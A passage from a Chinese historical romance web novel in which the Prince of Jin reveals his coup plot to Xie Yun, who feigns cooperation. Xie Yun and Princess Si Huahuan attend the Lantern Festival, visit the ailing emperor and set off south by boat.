谢昀摇了摇头,目光凌厉地直视他,缓缓道:“不,你不能。我知道你不是能做主的人,我要见你真正的主公。” 李先生的脸色变了变。尽管他迅速控制住了,但那变化没能逃过谢昀的眼睛。 “侯爷说笑了,”李先生很快恢复镇定,干笑一声,“哪有什么真正的主公……” “明人不说暗话。”谢昀打断他,“合作的基础是信任,不见真佛,如何谈得上信任?若真有共图大事之心,便拿出诚意来,否则今日之谈就此作罢。至于万年县剿匪之事,自有朝廷法度,不劳费心。” 谢昀态度强硬,半晌,李先生才咬着牙低声道:“侯爷的要求……我会禀报主公。” 谢昀放下茶杯,站起身:“静候佳音。” 他离去后,王远赶紧去向主公禀报。 王远垂手立在书案前三步远处,将方才与谢昀会面的情形,包括谢昀的每一句话,每一个神态,都原原本本复述了一遍。 书案后的人将舆图轻轻搁在了紫檀木桌上,随即一声轻笑响起,声音不高。 王远不明所以,下意识抬了抬头。只见晋王已从书案后站起身,背着手,缓步踱到敞开的窗边。 “果然本王没有看错人。”晋王望着窗外夜色,声音平缓,听不出太多情绪。 若谢昀只因一番复仇煽动和前程许诺便热血上涌,忙不迭地应承,那说明他要么愚蠢至极,要么便是假意投诚,另有所图。无论是哪种都不堪大用,甚至可能坏事。 谢昀提出要见他,恰恰证明谢昀有脑子,有顾虑,也有野心。 这种人用好了,是把锋利的刀;用不好,便是反过来刺向自己的利刃。 “主公是否要见他?”王远小心翼翼地问。 晋王走回桌案后重新坐下,指尖在那份舆图上轻轻点了点,“他想见,便让他见。去,以本王的名义下帖请他过府一叙。” 王远应道:“是。” “还有,”晋王补充道,“万年县那边动静可以再闹大一些。朝廷里那几个,该递折子递折子,该吹风吹风,务必让剿匪之事尽快提上日程,并且非羽林军精锐不可。” “是。” ***** 一张柬帖送到了明安侯府。 谢昀看着落款思索。 晋王? 他接触晋王并不多。晋王在先帝时便因性情温厚、不慕权位著称,平日里醉心琴棋书画,与朝臣交往甚淡,连早朝都不常去。 朝野上下对其印象多是闲散王爷、富贵闲人。 他的那双儿女,曾经的晋王世子和长宁郡主,因设计谋害姒华欢,一个被圈禁府中,一个被远远打发去了苦寒之地,晋王也算是彻底失了圣心。 自那以后,晋王似乎更加低调,几乎要被人遗忘了。 按理晋王即使不记恨,也应当避嫌,为何突然邀自己过府? 三日后的上午,谢昀如约而至。 晋王府位于城东,占地广阔,却并不奢华。府内景致清幽,亭台阁楼多取自然之趣,倒真有几分主人恬淡寡欲的味道。 谢昀被引至一处暖阁,只见上首主位,一人穿着寻常的蓝色锦袍,手中把玩着一块羊脂白玉的玉佩。 听到脚步声,他抬起头,露出一张与嘉平帝有四五分相似,但更显温和的脸,正是晋王。 “明安侯来了,请坐。”晋王笑容和煦,语气亲切得像是在招呼一位寻常晚辈。 谢昀以礼见过,在客位坐下,“不知王爷召在下前来,有何吩咐?” 晋王将玉佩轻轻放在一旁的桌子上,端起青瓷茶盏,用盖子慢慢撇着浮沫。 暖阁内一时间有些安静。 “明安侯,”过了一会儿,晋王终于开口,“不是你要见本王吗?” 他何时说过要见—— 等等! 谢昀的脊背瞬间绷紧,眼神紧紧锁住他。 竟然是晋王! 他早该想到的。 晋王是先帝长子,生母却只是一个不受宠的才人,先帝遵循立嫡祖制,越过他这个长子,立了嫡出的二皇子,也就是如今的嘉平帝。 多年来,晋王在朝中毫无根基,也从不结交大臣,看起来心甘情愿地接受了自己的命运。甚至在新帝登基后,他表现得更加恭顺低调,像是唯恐引起猜忌。 他的平和、慈善、不争,都是他精心编织的假象。 原来所有的不甘、怨恨与野心,都被他深深埋藏在这副温良谦恭的皮囊之下。 犹如一条毒蛇在草丛中蛰伏了十几年,甚至几十年,耐心地等待着,致命一击的时机。 其心机之深,忍耐之强,实在可怕。 “原来是晋王殿下。”谢昀缓缓吐出一口气,“在下竟从未察觉。” “若是能被你轻易察觉,本王也活不到今日了。”晋王神情带着一丝自得。 “今日既然见了面,不妨开诚布公。你父亲与母亲的冤屈,本王深知。如今坐在龙椅上那位,刻薄寡恩,多疑善变,边疆战士仍频,朝中党争不断,这江山在他手中,何曾真正安稳过?明安侯难道就甘心一辈子为他守着摇摇欲坠的宫门,甚至可能步令尊的后尘?” “本王欲行大事,非为一己私欲,是为江山社稷,亦为肃清朝纲,告慰枉死忠魂。明安侯手握羽林精锐,若能襄助本王,便是从龙首功。” “事成之后,你谢家不仅大仇得报,更可位列公侯,权倾朝野。这难道不比你如今这可怜的驸马处境强上百倍?” 谢昀沉默地听着。 好一个为江山社稷,肃清朝纲,冠冕堂皇。 晋王的口中没有半句真话,煽动性极强,但他不会被这些情绪完全左右。 “殿下谋划深远,在下佩服。”谢昀说道,“只是此事非同小可,殿下打算如何行事?还有这天下悠悠众口,殿下又打算如何堵住?” 晋王神色从容,似乎对谢昀的问题很满意。 “王远应该已经向明安侯转达过。借剿匪之名调精锐出城,时机一到,回京封城。宫内自有本王的人接应。” 他微微一笑:“至于天下众口……史书向来由胜利者书写,届时本王那位好皇弟,可以是突发恶疾驾崩,可以是耽于修道服丹暴毙……总有合适的说法。本王作为先帝长子,顺天应人,继承大统,不是顺理成章吗?” 谢昀没有说话,似在思忖。 晋王脸上的笑容微微凝滞,他默了默,像是明白了什么,笑容重新绽开,甚至比之前更浓了几分,了然道:“你可是在担心康乐?” “哈哈,”晋王低笑出声,摇了摇头,“原来是英雄难过美人关。放心,康乐那孩子是本王的亲侄女,自幼看着长大的,本王疼她还来不及,怎会伤害她?” “之前玉儿和渊儿糊涂,做了错事,是他们咎由自取,与康乐何干?本王心中从未因此责怪过她。” 他话说得情真意切,俨然一位宽厚仁爱的长辈。 谢昀一瞬不瞬地紧盯晋王,听到他把话拐到姒华欢身上,心中并无半分轻松,反而警铃大作。 晋王提起得太刻意,答应得太快。那笑意不达眼底,甚至在他话音落下时,谢昀清楚地捕捉到他眼中一闪而过的狠厉。 那绝不是一个疼爱侄女的叔父该有的眼神。 晋王在说谎。 但他此刻不能戳破,更不能表现出更多的担忧,那只会将姒华欢置于更危险的境地。 “有殿下这句话,在下便放心了。”谢昀垂下眼帘,掩去眸中寒光,“具体细节还需从长计议。” 又虚与委蛇地谈论了片刻无关紧要的朝局闲话,谢昀才起身告辞。 目送谢昀的身影消失在暖阁门外,晋王脸上的笑容才一点点淡去,重新拿起那块羊脂白玉佩,在指尖缓缓摩挲,对着空无一人的角落,淡淡开口:“都听到了?” 阴影里,林珩和桑进缓缓出现。 “看来他对康乐公主,怕是真心实意。”林珩说道。 “此人未必完全可靠。”桑进脸色阴郁。 晋王扯了扯嘴角,露出一个有些讥讽的笑:“本王从未指望谁完全可靠,不过是互相利用,各取所需罢了。有软肋才好控制,他越是在意康乐,就越要掂量清楚,忤逆本王的后果。” 林珩得意地瞥了桑进一眼,对晋王拱了拱手:“主公英明。”—— 作者有话说:这章剧情过渡一下,小情侣马上就甜甜甜了[抱抱] 第87章 定情信物 清晨, 花厅。 姒华欢与谢昀对坐用膳,她小口喝着粥,神色间还带着点刚醒不久的慵懒。 姚黄走进来, 手里拿着一封素色信笺, “殿下,卫国公府方才差人送来的, 说是叶小姐给殿下的信。” 意料之中, 姒华欢放下调羹, 接过信, 心头掠过一丝复杂的情绪。 她知道里面写了什么,叶殊宜此去,山高水远, 再见便要三年后了。 她垂着眼睫,小心地拆开信, 展开信纸, 字迹是熟悉的飞扬洒脱, 甚至能想象出叶殊宜提笔时那副兴奋的样子。 信不长,大意是感念挚友,不忍当面辞别徒增伤感,故留书告之, 勿念勿忧。短短几行,没有离别愁绪, 只有一往无前的决心。 信末还画了个小小的笑脸, 是她们少时互相传信是常玩的把戏。 姒华欢的指尖轻轻拂过“珍重”二字。 心中有替好友挣脱牢笼,奔赴理想的欣慰与喜悦,也有就此分别,不知何日再见的淡淡怅惘, 还因无法预知的新未来而平添一丝牵挂。 她难得有这样复杂的情绪。她久久注视着信纸,嘴唇不自觉抿起。 谢昀一直安静地看着她,从她听到姚黄的话,到阅信时神色的细微变化,再到此刻显而易见的沉默和难过,他都感知到了。 “怎么了?”谢昀放下筷子,问道,“叶殊宜的信?说了什么?” 姒华欢将信纸仔细折好,重新塞回信封,放在自己手边。 关于叶殊宜逃婚去边关的事,她暂时不想,也不能告诉谢昀。 叶家的军队还未走远,万一走漏了风声,坏了叶殊宜的计划就不好了。 于是她眨了眨眼,故意微微扬起下巴,带着点小任性,回答道:“不告诉你。” 谢昀微怔,随即失笑,身体微微前倾,手肘支在桌面上,饶有兴致地看着她:“又有新的秘密了?” “怎么?不行吗?”姒华欢也学着他的样子稍稍凑近,眼神里故意带上点挑衅,“只许你有秘密吗?” 谢昀慢条斯理地夹了一筷子脆笋,放进她面前的碟子里,“不过看你这模样,这秘密好像不是什么开心事。你若说出来,说不定我能帮你解决。” “你解决不了。”姒华欢很肯定地说,咬了一口脆笋,“是女儿家的事。” 谢昀没再问,亲手盛了半碗热汤,推到她面前,“再喝点汤暖暖身子,晚上不是想出去看灯吗?不吃饱哪有力气逛。” 提到上元灯会,姒华欢的注意力果然被转移了一些。 前世,这个上元节并未发生什么特别的事情。至少在她死前,京城依旧维持着表面的繁华与太平。 但这一世,许多事情已经提前或发生变化,她无法确定这个上元节是否还会如记忆中那般平常。 “好了,你今晚不许有公务,必须陪我去。”她接过汤碗,强调道。 “遵命,公主殿下。”谢昀含笑应下。 ***** 上元节当晚,夜幕初降,京城便已沉浸在一片璀璨光华之中。各色花灯,缀满长街小巷,坊市间人潮涌动,摩肩接踵,一副太平之象。 姒华欢披着厚厚的银狐裘,谢昀则是一身玄色暗纹锦袍,外罩同色大氅,身形挺拔,走在人群中格外显眼。 杜风带着几个便装亲卫,和姚黄魏紫不远不近地跟着,既能保证安全,又不打扰二人。 起初,姒华欢还因周遭过于热闹的人潮有一些不习惯,谢昀始终走在她身侧,若有若无地护着她,避开最拥挤的地方。 他的手掌时而轻轻抚一下她的手肘,时而在她被挤得稍稍踉跄时,稳稳揽住她的腰。 渐渐的,姒华欢被眼前琳琅满目的花灯和喜庆的气氛感染,放松下来。 她身为公主,不常参加这样的节日,此番看什么都觉得新鲜有趣。 姒华欢被不远处一个摊子上悬挂的走马灯吸引了目光,灯面上绘制的玉兔捣药图案随着灯光旋转,活灵活现。 “喜欢?”谢昀顺着她的目光看去。 姒华欢点点头,又摇摇头:“看看就好。” 她并非真的想要,只是喜欢那灯转动时生机勃勃的样子。 谢昀却已示意杜风上前。不一会儿,杜风便提着那盏精巧的兔子灯走回来,灯柄被塞到姒华欢手里。 “说了只是看看,拿着多冻手呀……”姒华欢小声说,手指握着温润的竹制灯柄,心里泛起暖意。 “看看和拿着看不一样。”谢昀答得随意,看着她被灯光映得柔和的侧颜上,“既然出来了,总要有点收获。” 两人随着人流慢慢前行,看过舞龙舞狮,猜了几则灯谜。姒华欢反应极快,猜中了两个,得了摊主两枚小巧的如意结。 她将其中一个递给谢昀:“喏,分你一个,沾沾喜气。” 谢昀接过那枚红色的如意结,在指尖转了转,眼底漾开笑意:“定情信物?” 姒华欢耳根一热,嗔道:“胡说什么,不要还我。”作势要抢。 谢昀手一抬,将那如意结举高过头顶,姒华欢跳起来都够不到。 在姒华欢的叉腰怒瞪下,他将那如意结妥帖地收入怀中:“送出来的东西,哪有收回的道理。” 谢昀靠近她耳边,压低声音,气息拂过她敏感的耳廓,“你的心意,我收好了。” 有些话经过他嘴一说,就有些变味了。姒华欢别开脸,装作继续看灯,心跳却漏了一拍。 嬉笑间,走着走着,姒华欢渐渐察觉出一丝异样。 街上巡守的官兵似乎比往年要多,而且不是普通的府兵,看甲胄制式,更像是……羽林军? 每隔十数步,便能看见身着轻甲执戟而立的守卫,神情肃穆,目光警惕地扫视着往来人群。 虽然他们大多沉默地站立在阴影或灯火不及之处,尽量不打扰百姓的游兴,但那隐隐透出的压迫感与周围欢腾的节日气氛形成一种微妙的对比。 姒华欢的脚步慢下来,拉了拉谢昀的衣袖,等他微微俯身,便凑近他低声问:“今年灯会的守卫是不是比往年多很多?我看那边,还有那边,站着的好像是羽林军?” 谢昀顺着她示意的方向扫了一眼,神色如常:“上元灯会,人山人海,最易生乱,陛下有旨,抽调部分羽林军人手加强巡防。不必担心,只是防范未然而已。” 他的解释合情合理。姒华欢知道每逢重大庆典,京城守备确实会加强,但不知为何,她总觉得今晚的气氛在繁华喧嚣的表象下,潜藏着什么不为人知的奇异。 “真的没什么大事吧?”姒华欢忍不住又问了一遍。 谢昀停下脚步,转过身面对她。璀璨灯火在他身后流转,将他深邃的眉眼映照得格外好看。 他抬手用指腹轻轻抚过她微蹙的眉心,温热的触感让她睫毛颤了颤。 “能有什么事?”他笑了笑,“你只需要想每天如何开心,吃好睡好。别整天愁眉苦脸,担心些有的没的。” “谁整天愁眉苦脸了?”姒华欢反驳。 “没有吗?”谢昀眼底笑意加深,“那是谁都快把‘担心’两个字写在脸上了?” 他目光一转,落在河边,“前头有卖河灯的,去放一盏?听说很灵验。” 谢昀自然地牵起她的手,带着她朝那边走去。他的手宽厚温暖,完全包裹住她微凉的手指。 护城河边果然聚集了许多放河灯的人,一盏盏莲花形状的灯,托着小小的蜡烛,被小心翼翼地放入水中,顺着水流缓缓飘远。星星点点,与天上繁星,交相辉映,寄托着人们各式各样的祈愿。 谢昀买了两盏,将其中一盏递给姒华欢时,随口问道:“想许什么愿?” 姒华欢捧着那盏纸灯,看着跃动的烛火,一时怔忡。 她本是不信这些的,但此刻似乎被周围的人感染,她竟也开始在心中默默祈祷。 愿山河无恙,愿亲友平安,愿自己能避过死劫,愿身侧之人这一世不再重蹈覆辙…… 她默了默,蹲下身,将河灯轻轻放入水中,看着它晃悠了几下,稳稳飘走,汇入那片光的河流。 谢昀看着她虔诚的侧影,长长的睫毛在眼下投出扇形阴影,神情是少见的认真。他没有追问,也将自己的那盏灯放入水中,两盏灯一前一后相依相伴,渐行渐远。 站起身,姒华欢轻声问:“你许了什么愿?” 谢昀神秘道:“说出来就不灵了。” 姒华欢撇撇嘴:“小气。” 谢昀忍俊不禁,伸手,很自然地替她拢了拢被风吹得有些散乱的狐裘领子。 “我的愿望,或许……已经实现了一部分。” 一阵夜风吹来,带着河水的湿气与寒意。姒华欢瑟缩了一下,谢昀展开了自己的大氅,将她整个裹了进来,紧紧搂在身侧。 带着他体温和熟悉气息的大氅她包裹,瞬间驱走了寒意。 “累了?”他问,下巴轻轻抵着她的发顶。 姒华欢点点头。走了这么久,确实有些乏了。 “那便回吧。”谢昀揽住她的肩,带着她转向回府的方向。 “你背我。”姒华欢不愿意再走,语气带着点小娇蛮,要求道。 谢昀失笑,却依言蹲下身。 姒华欢伏在他宽阔坚实的背上,手臂环着他的脖颈,脸颊贴着他的颈侧。 “重不重?”她忽然小声问。 “重。”谢昀答得干脆。 姒华欢立刻不满地轻捶他肩膀。 谢昀被锤了也不恼,发出一串低笑。 月光将两人的影子拉得很长,紧紧依偎在一起,仿佛再也分不开。 姚黄和魏紫远远跟在后面,见状对视一眼,默契地抿唇偷笑,悄然放慢了脚步,留给他们一片只属于彼此的空间。 第88章 你说话不算话! 上元节后几日, 姒华欢总觉得心头笼着一层挥之不去的不安,沉甸甸地压着,像是暴雨前闷热凝滞的空气。 连续几夜她都睡得极浅, 梦境纷乱。醒来时, 掌心总是冷汗涔涔。 这一夜又是如此。 天色尚未大亮,姒华欢又一次从不安的浅眠中惊醒, 心跳得又快又乱。她拥被坐起, 再无睡意, 索性起身, 唤了姚黄和魏紫进来服侍梳洗。 “殿下醒了?”魏紫听到动静,端着温水进来。见她脸色苍白,眼下带着淡淡的青影, 担忧道,“殿下这几日总睡不踏实, 要不要请个平安脉看看?” 姒华欢摆摆手:“不用。” 她又不是真的病了, 江鹤舒就算来了也说不出个所以然, 又要开一副苦苦的方子。 用过早膳,她本想去院子里走走透透气,刚走出房门,却见谢昀从回廊走过, 未着朝服,而是一身青色常服。 大越两日一小朝, 她记得很清楚, 谢昀昨日未上朝,今日这个时辰,他该去上朝才是。 “谢昀?”姒华欢迎上前,讶异道, “你怎么这个时辰在府里?今日不是该上朝吗?” 谢昀走到她面前,目光在她略显苍白的脸上停留一瞬,伸手握了握她的手。他犹豫了一下,才开口道:“今日陛下龙体欠安,免了朝会。” 姒华欢脑子里“嗡”一声,手上捧着的暖手铜炉“哐当”掉在地上滚了几滚,里面的炭灰洒出来些许。 “你说什么?”姒华欢声音微微颤抖,“父皇病了?” 前世父皇病倒,是在两年后。因为积年的劳累,从此身体便垮了下去,只能靠汤药延绵。 怎么会提前到现在? 难道即使她重活一世,努力想改变一些事情,有些注定的结局依然无法撼动吗? 如果什么都改变不了,她重新经历一遭,眼睁睁看着所有她在乎的人再次走向既定的悲剧,又有什么意义? 谢昀扶住她的手臂,沉声道:“别急,具体情形还不清楚,宫里的消息,只说陛下昨夜有些不适,已传了太医。” “我要进宫!”姒华欢转身就要往外冲,声音染上哭腔,“我要去见父皇,现在就去!” 谢昀一把揽住她,将她带进怀里,紧紧抱住,“我已经让人时刻留意宫里的消息,一有确切情况立即回报。有江老太医在,陛下定会无碍。” 姒华欢靠在他怀里,急促地喘息了几下,抬起脸,眼神里满是焦急和恳求:“走……我们现在就走。” 谢昀知道拦不住她,只好道:“好,我们进宫,我陪你一起。” 他差人去姒华欢屋里取过她的狐裘,仔细为她披上系好,才牵着她出府。 马车早已候在府门外。一路上,姒华欢沉默着,手指绞在一起,眼泪无声无息地滚落下来。她咬着唇不让自己哭出声,肩膀控制不住地微微颤抖。 一双温暖有力的手臂将她轻轻揽了过去。谢昀没有说话,只是让她靠在自己的肩头,一只手缓缓地轻拍着她的背。 姒华欢没有抗拒,闭上眼睛,任由眼泪浸湿他肩头的衣料。 马车终于驶入宫门,姒华欢跳下马车,也顾不上什么仪态,拎着裙摆就往里冲。守在殿外的内侍见是她和谢昀,连忙躬身行礼,不敢阻拦。 寝宫内弥漫着一股淡淡的苦涩药味,明黄的帐幔低垂,嘉平帝躺在龙床上,身上盖着锦被,脸色确实不太好。 “父皇!”姒华欢扑到床边,一把握住嘉平帝露在被子外的手。 她的眼泪一下子又涌了上来,在眼眶迅速汇集,凝成一大颗泪珠,吧嗒吧嗒往下掉,砸在嘉平帝的手背上。 嘉平帝原本闭目养神,被她这一扑一哭,赶忙睁开眼。看到他最疼爱的小女儿哭得梨花带雨,眼睛红肿,一副天塌下来的模样,有些慌了神。 他急忙道:“哎哟,朕的蓁蓁,这是怎么了?” 一向威严的帝王此刻显得有些无措,嘉平帝试图坐起身,反手握住女儿的手,“快别哭了,父皇没事,就是染了点风寒,现在已经好多了,瞧你这小脸哭的,跟小花猫似的。” 姒华欢不信,见父皇强撑病体,还分出心思忧心她,眼泪掉得更凶,“呜呜呜父皇你别骗我了……” 父皇是个勤政的皇帝,等闲小病从不辍朝,此番怎会为了小小风寒而免去朝会。 嘉平帝抬眼,飞快地朝江老太医使了个眼色。 “江太医,你来说,朕是不是只是风寒?” 到底是在宫中几十年的老人,江老太医收到示意,躬身道:“回公主殿下,陛下确是风寒侵袭。只需按时服药,静心调养数日,便可痊愈。还请公主殿下宽心。” 嘉平帝立刻接过话:“听见了?江太医都说了,只是风寒,你这孩子,瞎想什么。” 他抬起另一只手想替女儿擦擦眼泪,又觉得不太方便,只好温声哄着:“好了好了,父皇看你哭,心里更难受。一点小病,倒惹得我的宝贝女儿哭成泪人。” 说话间,他朝谢昀飞了一眼。 姒华欢的啜泣声戛然而止。 她眨着被泪水浸得湿漉漉的眼睛,看看一脸慈爱的父皇,又看看一本正经的江老太医,再看看旁边一直沉默的谢昀。 她吸了吸鼻子,用手背抹去脸上的泪水,鼻音浓重地问:“真的……只是风寒?” “千真万确!”嘉平帝答得斩钉截铁,为了增加可信度,还故意咳嗽了两声,随即又像是怕她担心,赶紧补充,“咳咳……你看就是咳嗽,风寒都这样。” 姒华欢盯着他看了几息,又看向江老太医。江老太医默默垂下眼帘,眼观鼻鼻观心,盯着自己的鞋尖。 好吧。 冷静下来后,姒华欢心里的担忧和悲伤被后知后觉的尴尬取代。 自己哭得那么伤心,好像父皇马上就不行了似的,结果只是风寒。 她觉得自己像个傻瓜。 她越想越没面子,这要是传出去,不知道的还以为父皇病入膏肓,她提前哭灵呢。 她转过头,瞪向一直安静站在稍后位置的谢昀,迁怒道:“都怪你!你也不说清楚!” 谢昀接收到嘉平帝投来“你自己搞定”的眼神,无奈走上前一步,抬手,极其自然地用指腹轻轻拭去姒华欢眼角残留的一点湿意,然后用手轻轻拍抚她的背,给她顺气。 “是是是,都怪我,是我没说清楚,让公主殿下担心了。” 他这顺从认错,还帮她擦眼泪的举动,让姒华欢满腔的迁怒一下子没了着落。 她噎了一下,脸颊有些发烫,抚开他的手指,瓮声瓮气道:“本来就是你不对……” 谢昀没有立刻收回手,而是抬起,又顺了顺她因为匆忙奔跑而有些散乱的发丝,“嗯,我不对。” 嘉平帝靠在床头,看着女儿和女婿之间这旁若无人的互动,心情美妙了不少,笑得见牙不见眼。 待反应过来,他收敛了痴笑,清了清嗓子:“蓁蓁,父皇没事了,你也看到了。回去好好歇着,别跟着操心。景初,你陪蓁蓁回去,好生照看着。” 在嘉平帝的再三催促下,姒华欢还是跟着谢昀退了出来。 二人走后,殿外两个小宫女低声交谈:“哎,你刚才听见了吗?江老太医之前跟张公公说话,明明说陛下之病是积劳成疾,元气有亏,只能用汤药延缓寿数什么的,听起来好吓人。怎么康乐公主一来,江太医又说只是风寒了?” 另一个声音说:“不明白?陛下最疼康乐公主了,哪舍得看她伤心难过,肯定是故意让江太医那么说的呗。” “唉,陛下对康乐公主可真好啊……” “快别说了,咱们就当什么都没听见,知道吗?” “哦……” ***** 自那日从宫中回来后,嘉平帝便以病气未清,恐过给体弱的女儿为由,婉拒了姒华欢再次入宫探视的请求。 每日谢昀下至回府,姒华欢第一件事便是询问嘉平帝的情况。 这日傍晚,谢昀回府比平日稍晚,姒华欢已在花厅等着,桌上温着热汤。 魏紫接过他解下的大氅,姒华欢示意姚黄盛汤。她问:“父皇今日如何?” 谢昀在桌边坐下,接过汤碗,热气氤氲了他深邃的眉眼。 “陛下精神尚可,只是仍需静养,不必过于忧心。” 又是和前几日差不多的回答,姒华欢“嗯”了一声。 谢昀用过半碗汤,沉吟片刻,似是随口提起:“你想不想出去走走?” “现在?”姒华欢看了一眼外面漆黑的天色,“去哪儿?” “不是现在,是过两日。可想去江南游玩些时日?” 姒华欢闻言一怔:“江南?好端端的,怎么突然想去江南游玩?” 这个时节并非出游的好时候,况且京城山雨欲来。 “今年冬日格外漫长,江南气候温润,比京城暖和许多。那有几处庄园景致不错,也可避寒散心。”谢昀平常道。 姒华欢满心疑惑。 不对劲,太不对劲了。 谢昀怎会恰巧在这个时候带她远游?除非……京城即将有变,他想提前将她送走,远离京城! 姒华欢放下手中茶杯,问道:“是不是京城要出事了,你想把我送走。” 谢昀端碗的手指很细微地收紧了一瞬,放下汤碗,“为何会这么想?” “若不是京城将有大变,你怎会无缘无故急着在这时候送我离京?”姒华欢倾身向前,“你查到了什么,是不是?” 他一定是顺着林珩查到了什么。 “没有。”谢昀也没有完全否认,“只是近来京城周边确实不太平,匪贼猖獗,陛下又病着,人心浮动之际,京中确实未必安全。” 姒华欢反问:“天子脚下,京畿重地,京城都不安全,那江南就安全了吗?若真有人能在京城掀起风浪,难道就不能把手伸到江南去?” 谢昀感到一阵熟悉的头疼。 姒华欢敏锐起来,简直让人无所遁形。 姒华欢的心沉到了谷底,一字一顿地问:“所以你是打定主意要送走我?然后呢?你自己留下来做什么?是不是要去剿匪?” 谢昀一时间没回答。 他的沉默在姒华欢看来已经是答案了。 “你答应过我的!”姒华欢猛然站起身,衣袖带翻了手边的茶杯,残茶泼洒出来,在桌面上蜿蜒流淌。 “你明明答应过我,你不会去的!谢昀!你说话不算话!” 谢昀看着她因激动而泛红的眼眶,伸手要去拉她,却被她一把推开。他上前一步,解释道:“我不是要把你送走,我是陪你一起去。” “就算你陪我……嗯?”姒华欢后面的话到嘴边又吞了回去,“陪我一起去?” 第89章 “好,我们去江南。”…… “对。”谢昀点头, 神情认真,不似作伪,“我陪你南下散心, 远离京城这是非纷扰之地, 剿匪自有旁人负责,与我无关。” 姒华欢飞速思考着。如果谢昀真的不去剿匪, 那个时间, 那个地点都发生变化, 那么她的死局, 是不是就有可能改变? 这确实是一个办法,或许……真的可以一试。 “那剿匪派了谁去?”姒华欢问,语气缓和了些。 谢昀心中微松, 知道她开始动摇了。 “陛下已另派了赵将军前去。”谢昀答道,“赵将军经验丰富, 剿灭一伙占山为王的流寇不在话下, 你无需担忧。” 赵将军?姒华欢在记忆中搜寻一圈, 确认自己对他没什么印象。 他的结局如何,她并不清楚,只要不是谢昀就好。 “那父皇他……”她又想到病中的嘉平帝,面露忧色。 “陛下已大好, 江老太医日日请脉,药膳调理着, 陛下精神一日好过一日。宫里还有皇后娘娘照应, 你尽管放心。”谢昀温声安抚。 “我们只是去一段时间,待京城平定,天气转暖便回来。你若实在不放心,我们可时常派人送信回来问安。” 他的话层层递进, 将她所有的顾虑都堵了回去,每一条都站在她的角度为她着想。 姒华欢沉默下来,垂眸思索。 离开京城,固然可能避开前世死劫,但同时也意味着,她对未来的发展一无所知。这是一种逃避。 可是不离开呢?她一个锦衣玉食的公主,即便知晓未来,在真正的刀兵权谋面前,又能改变什么? 两相权衡,离开,似乎是当下最明智,也是最安全的选择。 或许是因为前世的她太过任性,兵临城下却绝不肯退一步,不肯跟着宫妃大臣们逃亡,才使得奸人得逞,落得那样的下场。 既然重来一次,要做出改变,她便不能那般执拗。 姒华欢深吸一口气,抬起头,终于点了点头:“好,我们去江南。” 谢昀看着她眼中仍残留忧虑,但总算答应了,心中一块石头落地。 他松开手,转而轻轻抚了抚她的发顶:“那便这么说定了。我即刻安排下去,我们尽快动身,府里和宫里我都会打点好。” 正如谢昀所言,他将一切打点得极为迅速。 两日后,两辆看似普通的马车便从明安侯府侧门悄然驶出,并未引起太多注意。 他们轻车从简,除了必要的行李,只带了几个侍女,以及几名精干可靠的亲卫。 马车并未向南直行,而是先往东绕了些路,在午后来到距离京城不远的商州漕运港口。 这里水陆交汇,漕船商舶云集,是南来北往的重要枢纽。 一艘中等大小的客船早已候在码头边,船身漆色半新,样式普通,看起来与寻常商客搭乘的船只无异。 谢昀扶着姒华欢下了马车,踏上跳板,走进船舱。舱内陈设简单却洁净,一应物品俱全,显然是精心准备过的。 待行李安置妥当,船工解缆起锚,客船缓缓离开码头,驶入宽阔的河道。 姒华欢站在船头甲板上,望着逐渐远去的码头和岸上模糊成片的屋舍人影。寒风扑面吹起她斗篷的兜帽和鬓边的碎发,她却恍然未觉。 她心情很是复杂。 从未想过,破解那死局,竟然是会以这样一种方式。 她怔怔地出着神,连谢昀何时走到身后都未察觉。 直到一件玄色大氅从背后将她整个罩住,一双有力的手臂环过她的腰身,温热的身躯贴近,谢昀的下巴自然地搁在了她的发顶。 “在想什么?风大,当心着凉。”谢昀的声音在头顶响起。 姒华欢没有立刻回答,依旧望着水天相接的远处。 谢昀等了片刻,没等到回应,便微微偏过头,想去瞧她的神情。 这一看,却让他心头一紧。 姒华欢绷着一张小脸,嘴唇抿得有些紧,神情凝重。完全没有离京出游的放松,反而像背负着沉沉的心事。 “是不想去了吗?”谢昀环着她的手臂稍稍收紧了些,小心地问道。 姒华欢依旧沉默着,目光坚定地望着前方。 见她连理都不想理自己,谢昀的心开始慌起来,正要再开口,却见姒华欢忽然眉头一皱,抬手捂住了嘴,向一旁干呕了一声。 “唔……” 谢昀一愣,紧接着反应过来,连忙扶稳她,将她转过来面向自己。 只见她脸色发白,额角甚至渗出了细密的冷汗,眉头紧锁,一副极其难受的模样。 “呕……”姒华欢又干呕了一下,什么也没吐出来。她只觉得胃里翻江倒海,脑袋也跟着一阵阵发晕,眼前都有些花。 她半弯着腰,无力地摆摆手,声音虚弱:“别,别跟我说话了……我又头晕……又恶心……” 谢昀这才后知后觉的意识到——姒华欢晕船了。 他有些无措。他千算万算,安排行程,准备船只,筹划路线,甚至考虑应对可能发生的种种意外,却独独忘了最重要的一件事—— 他忘记带江鹤舒了! “是我的错,都是我不好。” 谢昀又是心疼又是懊恼,立刻打横将她抱起,快步走回舱内,小心地将她放在临窗的软榻上,又迅速倒了一杯温热的茶水,递到她唇边。 “喝点水缓一缓,是晕船了吗?很难受?” 姒华欢就着他的手抿了一小口温水,将萦绕在喉间的那股恶心感稍微压下去一点,但眩晕依旧。她靠在软垫上,闭着眼,有气无力地点点头:“可能是吧……” 她自小就没坐过船,连乘画舫游湖都未曾有过,根本未曾考虑到会晕船这件事。 看她虚弱的样子,谢昀心里像是被针扎了一下,密密麻麻地疼。 他原以为这是保护她的最好方式,却没想到第一步就让她如此受罪。 这个法子,真是烂透了。 他忽然想起些什么,扬声唤来守在门外的魏紫。 “船上可备生姜?”他问道。 魏紫想了想,点点头:“有的有的。” 谢昀快速吩咐:“速去取些来,切成薄片。” 他记起一个民间的方子,生姜切片敷贴内关穴,可缓解车船导致的眩晕恶心。 魏紫应声去了,不多时便端着一个小碟子回来。 谢昀让姒华欢伸出手腕,按照模糊的记忆,在她手腕内侧的内关穴位置上各敷上一片姜片。 微辛的姜味弥漫开来,腕间传来姜片温热的刺激感。 不知是心理作用,还是这土方当真有效,过了约莫一炷香的功夫,姒华欢觉得那股翻腾的恶心感似乎缓和了一些。虽仍有些头晕乏力,但也不像方才那般难受了。 “好些了吗?”谢昀单膝跪在榻边,握着她的手,满眼担忧。 “嗯,好一点了。”姒华欢点点头,眉头终于舒展了些。 谢昀这才稍稍松了口气。 整个下午,姒华欢都昏昏沉沉地躺在榻上,谢昀寸步不离地守着,给她当人肉靠垫和暖炉,时不时轻声问她感觉如何。 到了晚上,姒华欢没胃口,即便是谢昀哄着,也没怎么吃东西。 